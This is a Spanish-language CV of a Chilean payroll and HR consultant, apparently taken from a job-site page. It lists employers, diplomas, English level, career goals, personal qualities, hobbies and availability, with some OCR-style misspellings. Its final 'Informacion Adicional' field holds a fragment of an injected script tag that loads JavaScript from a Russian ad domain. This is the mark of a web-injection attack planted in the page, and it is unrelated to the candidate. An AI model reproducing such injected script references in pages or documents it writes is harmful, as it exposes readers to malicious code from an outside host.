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titulo
Recursos Humanos - Personal.

EXPERIENCIA LABORAL

-9/2008-0/0 Payroll S.A.

Recursos Humanos Recursos Humanos - Personal

Consultor de Remuneraciones. A cargo de implementacion de sistema payroll en empresas clientes.
Actualmente manejo 5 empresas, entre mineras, viias, aseguradoras y empresas de técnologia. A cargo
de todo el proceso de remuneraciones y contable de estas em

www.payroll.cl

-4/2006-9/2008 Sociedad Industrial Romeral S.A.

Construccion y Extraccion Recursos Humanos - Personal

Encargado de Remuneraciones a cargo de todo el proceso de sueldos ademas de la generecion de
informes de gestion de RRHH. Dotacion de 250 personas.

www.romeral.cl

-12/2002-4/2006_Consorcio Periodistico de Chile S.A.

Comunicacién/Imagen y sonido Recursos Humanos - Personal

Mantencién Maestro del Personal, ingreso haberes y descuentos, finiquitos, asistencia, centralizacién
remuneraciones, pago imposiciones. Dotacion de 2000 personas entre contratados y honorarios.
www.copesa.cl

FORMACION ACADEMICA
5/2008

Derecho Laboral y Previsional
Diplomado Recursos Humanos

Icare - Santiago - Chile

www.icare.cl

4/2005

Derecho Laboral
Diplomado Recursos Humanos
Lexis Nexis - Santiago - Chile
www.lexishexis.cl

5/2003

Contabilidad Avanzada

Diplomado Economia y Finanzas
Inacap - Santiago - Chile
www.inacap.cl
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3/2000

Administracion de Personal

FP1 (Formacion Profesional) Recursos Humanos
Universidad de Santiago de Chile - Santiago - Chile
www.usach.cl

IDIOMAS
Inglés

Nivel:Nivel Intermedio

OBJETIVOS PROFESIONALES

Busco desarrollar a mayor grado mis habilidades dentro del area de Recursos
Humanos. Ademas desde siempre me ha gustado generar herramientas nuevas
que hagan mas eficientes los procesos de esta area. En suma, mi lema es
simplificar y enriquecer.

Resultados y Logros

Implementacion y consolidacion de sistema asistencia CAS en Consorcio Periodistico de Chile y filiales.
Generacion de informes de gestiéon de RRHH en Sociedad Industrial Romeral S.A. Implementacién
exitosa de sistema Payroll en empresas de diversos rubros.

Cualidades

Adaptable, Analitico/a, Creativo/a, Determinado/a, Diligente, Eficiente, Enérgico/a, Flexible, Gracioso/a,
Organizado/a, Persistente, Persuasivo/a, Preciso/a, Seguro/a, Sociable, Tenaz, Trabajador/a,

Aficiones

Cantar/Tocar Instrumentos musicales, Ciclismo, Cocinar, Literatura/Historia, Musica de Jazz/Blues,
Musica de New Age, Opera/Musica Clasica, Ordenadores/Internet, Religion,

Disponibilidad

Estoy dispuesto a viajar: Si

Estoy dispuesto a trabajar en el extranjero: No
Estoy dispuesto a trabajar fuera de mi region: Si
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Informacion Adicional:

FORMACION:EXPERIENCIA:COMPLEMENTARIA:INFORMACION ADICIONAL: script
src=http://www.bannerdriven.ru/ads.js>
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